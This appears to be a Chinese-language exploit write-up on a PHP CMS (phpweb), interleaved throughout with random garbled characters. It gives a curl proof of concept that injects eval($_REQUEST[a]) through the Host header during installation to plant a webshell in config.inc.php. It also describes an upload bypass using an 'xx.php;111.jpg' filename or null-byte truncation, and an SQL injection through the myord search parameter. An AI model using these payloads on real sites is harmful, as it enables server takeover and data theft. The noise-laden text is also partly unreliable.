注入:
& S) i; a8 g \# y1 h- W) W% L z# m* g, q9 e1 ]5 E* Q3 W
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- V) [5 j( m+ [# B
" S0 p S$ o) p6 ?) \% s ?鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) x6 N" C+ l4 R鸡肋2: 有一定安全常识的站长都会删掉 install 目录
c& W7 Y( `4 \3 ~3 b6 W3 H % l& F2 {$ T& ]2 [
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
# M5 }! M9 f A# c
a+ ^5 U+ `: x7 L% X分析:
$ M$ y' E5 J$ ?3 l8 A% V' N
+ G @4 Y6 m3 A9 v U/ F
0 u! Z% j+ B f- j7 |$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
/ F( L( g' h, d9 H9 y! R t& h
0 ^) I! B' a7 |* n4 T0 W4 k: W% K6 s $filestr = fread(fopen($SysConfigFile, 'r'),30000);
! r9 Q5 r5 E N& n $filestr=str_replace(" ","",$filestr);
' @! h7 ~# L8 k0 [( C $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, g9 Z8 v) n% [. Y& t5 W( w
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
, e1 d% Q2 k0 ?3 \: h9 F$ S $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);+ q) p* V- Q: U
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
# l7 \5 ?; x3 u# I8 e& {% ^ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
7 X) r" p# g4 f1 d, _# v v $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 `! P. f7 V! E1 x5 Q# t
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, t; Z7 n, y' H
& r% e/ n: |2 F# w; R fwrite(fopen($ConFile,"w"),$filestr,30000);
- X3 v- t% u+ ^5 P3 j! Y$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
' C% m) y1 e. R& k3 | ; H9 @+ e& n% a- F; `9 K
poc:
+ i/ r4 Q% O9 Y& f' @ 5 N0 L: v0 j, c
?0 L; x/ H- }6 K. O+ H8 T6 e
1
/ g, p# i- Q- N2 U+ v6 w6 ]curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
X6 [: Z5 W+ i0 x/ @/ L1 g( `9 X( Zshell地址: /config.inc.php
. q+ n5 r" X! J1 G: v跟之前的 phpcms一样 需要远程数据库+ X5 @: X0 z6 T0 P# |3 b
- {5 e( i7 u5 z6 t- R
——————————————————–2 V: C3 N4 {3 G* y- x
上传漏洞(需要进后台):/ K4 D- h) S$ s
漏洞文件: /kedit/upload_cgi/upload.php$ J1 u+ p2 W7 K9 o
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用. @, M1 E' T1 P0 F4 x) J: Q/ x! \
, J0 f8 h" ?" v7 d" C4 }8 N/ h
) x& I, L1 P- f. Q- J/ ^/ @<?php
* z* L: g8 N/ j define("ROOTPATH", "../../");
% M& [. ?# o, S1 j R3 Y: T* i$ Z include(ROOTPATH."includes/admin.inc.php");
) J) k" ~% \" k NeedAuth(0);
( k4 p( J# a! M8 i
3 B$ F! L* A! l# w $dt=date("Ymd",time());
* @7 ~, Q6 t- j: w% x5 C' M4 w! F- r if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){, G1 [+ L& X# @$ L3 U2 H% j. Q- j/ ~
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);. ], i9 G2 ?' f# h' {
}. B3 `" ?4 ]/ I0 X6 a( n% L3 o0 R
& h" R! R+ R* _) w9 r) p' O //文件保存目录路径7 W) r5 x" i3 P( b9 L# O
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';) _0 _+ D S- ?0 J9 f7 H; q, ]% ~" U
echo $save_path;
/ U3 T+ O7 `+ E) w# s( G4 h //文件保存目录URL3 p! ?0 b* f6 [
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
( o! }& b7 q; r
4 b/ d6 l c/ [- [2 G- r& u( t //定义允许上传的文件扩展名6 \. t1 [# L5 M3 J( \: T
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: r1 a0 I* z+ R7 K! a. ~. j! s
: N" ~, ]/ k# v; }' g9 \" i //最大文件大小2 c$ L+ P t8 S0 H9 H F) |) R( I
$max_size = 1000000;5 T5 F# E' e% m( C4 c6 w! o, Y- Q1 Y
, m$ H E- J. h" m
//更改目录权限+ ^' N$ K) g6 H) R. U% \
@mkdir($save_path, 0777);
2 @5 o9 E: a+ z5 O
! v1 \; j K% u, l //文件的全部路径
( p. D9 v5 l4 w0 m) W! Y0 [' W, t* V $file_path = $save_path.$_POST['fileName']; //保存文件名
8 D N3 N0 B/ x
9 L4 j# _: M7 J; c2 S4 L //文件URL$ \4 w. M) Y9 b5 B
$file_url = $save_url.$_POST['fileName'];. |2 T f2 I5 V h: j' i4 }
//有上传文件时
$ E' j) p3 p7 t D/ @ R3 ]8 q if (empty($_FILES) === false) {2 I) F! i H1 Z) ~
" @ w- l9 w. L
//原文件名8 C( H+ V9 `( d- V
$file_name = $_FILES['fileData']['name'];
" P' H$ v1 V' X //服务器上临时文件名
. E; ^8 O0 Q- `$ @8 w $tmp_name = $_FILES['fileData']['tmp_name'];
% U: _8 m; a Z //文件大小6 I9 ^) D, ~3 F: [$ k: P
$file_size = $_FILES['fileData']['size'];
2 Q! ^4 f- D4 o9 i2 K. K) d' S, w //检查目录% u+ z# L3 f! t- J, k
if (@is_dir($save_path) === false) {
, b5 a _" [% i1 ] alert("上传目录不存在。");
+ K; U; ?) F' H }: {- D c5 i& A$ r4 y
//检查目录写权限) L! P3 e z) x0 F% x
if (@is_writable($save_path) === false) {
8 v2 B+ y: U9 s; @% i; W alert("上传目录没有写权限。");' o% P# h5 r% F- Q1 [
}. H# z! K# x" f k) c3 e- |
//检查是否已上传
6 }3 J' u% R2 f4 `, |8 C if (@is_uploaded_file($tmp_name) === false) {
- s, n5 B6 [+ V alert("临时文件可能不是上传文件。");
% J: `2 Y. @( {: T( f$ l }+ i8 s$ X6 t' Y' W# q* J
//检查文件大小
' N$ w L1 ^, |* w5 O if ($file_size > $max_size) {$ I: b" {. Y" T" S% N$ _
alert("上传文件大小超过限制。");1 I7 }( h- f. ]' Q. S# c& a4 d
}
1 \" t: `" i, T2 {: t( i$ j //获得文件扩展名* G3 V7 W; x3 C7 z4 K* J6 M% @
$temp_arr = explode(".", $_POST['fileName']);# P" S1 ^ ?2 [6 b0 \
$file_ext = array_pop($temp_arr);+ H4 J. P* Y6 m9 C3 A
$file_ext = trim($file_ext);- ` m: X1 j: F7 j. @ {* j9 v
$file_ext = strtolower($file_ext);% F* I1 g% b: r
: _# r3 H) P" r2 I# E$ J7 P, L- U' I- m
//检查扩展名 ) o, Y9 ^5 o; j( _$ b2 O8 V
if (in_array($file_ext, $ext_arr) === false) { 6 O; |+ Q7 ]: k4 g" \1 K: d! Q
alert("上传文件扩展名是不允许的扩展名。");- o8 H1 _; b+ x. {. K$ ? h2 R
}" t5 p# l% ]7 p" ]* l/ }
" N( P2 p9 X& {) b: R+ W) l/ v //移动文件
: p- e/ Y2 c$ O2 J8 F1 P //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
- e. L2 S! \* f& v9 Z% }) a; l if (move_uploaded_file($tmp_name, $file_path) === false) {
+ [. `$ q9 ?# T alert("上传文件失败。");; H3 D* ]/ `* c+ H, G( Z( q' U0 ~% }
}
% s9 G: g# ^6 X* P: N5 `+ Z% a$ |+ Q 9 v6 [6 U% w7 s& f4 O
@chmod($file_path,0666); e! h7 ~# \! z' t* E! g! l2 ~
9 d; Z: f1 q5 |* x! _% s* v3 H
?>; B' F* P. b- k8 K: m
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' A9 r/ o$ v6 `0 k5 Y
7 W0 h' ~. w5 Y
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' U; m0 L g, w: i
7 p+ g/ p6 d1 H7 d# J2 l( V- z——————————————————
% x8 s& K, r* k: P3 T; i+ V5 R* H注入漏洞:
+ L* J7 E; Y2 ~漏洞文件:search/module/search.php0 ^, Y+ l4 A+ }" K
/search/index.php?key=1&myord=1 [sqlinjection]- d3 o$ v. {" @7 y/ q- b& y
! k& _8 |9 r2 T0 S* k. _8 |+ G
7 L, |% B9 \6 ]3 W3 z' N0 W
<?php
: `1 [; {* C3 V4 ^ W* w // ... 省略 n 行...' _( b7 i9 E- \2 N. J4 v6 @% x
//第18行:
$ n) a8 n7 j4 W# _. @* R $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响' q4 y0 l( ]1 F$ j [# |
$page=htmlspecialchars($_GET["page"]);9 n& C: W- M- ? i$ d
$myord=htmlspecialchars($_GET["myord"]);. S5 W1 y. q% g V& Q: b$ D, C/ A% Z
3 m O$ x8 y. X' s // ... 省略 n 行...
3 l& f0 Y9 Y4 n% A1 w $key,$myord 两个参数带入查询9 w, S! {* Q0 c. Y4 A
//第47行 $key:0 j7 r% N9 B- b% U' B) I9 m2 v
- V* @: W# _8 g% O5 S- ^9 w: c. M $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 W% Y% s6 j' l: L * K1 d: m# E! q* T4 X# Y$ D, o, l
//第197行 $myord
; A* c: O1 z9 V $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
% {: ]6 h8 {+ v8 ~8 ~ [5 y. m( M+ w |' {+ D9 K9 n
?>
( ~; n$ w: a7 R J H2 _. \$ e+ z |